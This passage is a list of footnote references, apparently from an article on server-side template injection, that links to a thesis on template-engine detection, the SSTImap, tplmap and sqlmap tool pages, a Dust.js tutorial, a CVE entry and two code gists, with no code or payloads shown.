[^2]: https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf
[^3]: https://github.com/vladko312/SSTImap
[^4]: https://github.com/vladko312/extras
[^5]: https://github.com/epinna/tplmap/
[^6]: https://github.com/linkedin/dustjs/wiki/Dust-Tutorial
[^7]: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
[^8]: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
[^9]: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
[^10]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9